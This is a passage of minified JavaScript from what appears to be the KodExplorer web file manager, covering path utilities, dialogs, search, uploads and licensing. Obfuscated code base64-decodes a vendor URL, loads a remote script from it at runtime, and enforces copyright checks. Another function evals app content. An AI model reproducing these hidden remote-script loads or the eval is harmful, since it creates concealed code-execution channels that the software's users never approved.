sx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i='
        '+t+"
        ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n
        \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e; -var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
        ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info)):p.addClass("error").text(e.data),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","0%"),p.text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else 